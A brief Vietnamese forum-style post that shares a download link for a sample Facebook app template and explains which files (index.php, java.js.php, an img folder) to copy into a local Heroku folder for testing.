https://apps.facebook.com/maqrcode/
và đây là link download app mẫu facebook thỉnh thầy – Tải file morning-rain-1242
** down về giải nén ,nhưng đừng copy nguyên tất cả file trong thư mục morning-rain-1242 vào thư mục heroku đã tạo ra trên máy bạn , nó sẽ lỗi đó , chỉ copy file những file
1- index.php
2-,java.js.php
3-và thư mục ảnh img
vào thư mục mà host heroku đã tạo ra trên máy bạn nhé
tha hồ mà test nhé
app facebook
app facebook

chúc bạn thành công

Thấy hay Xin đừng quyên thank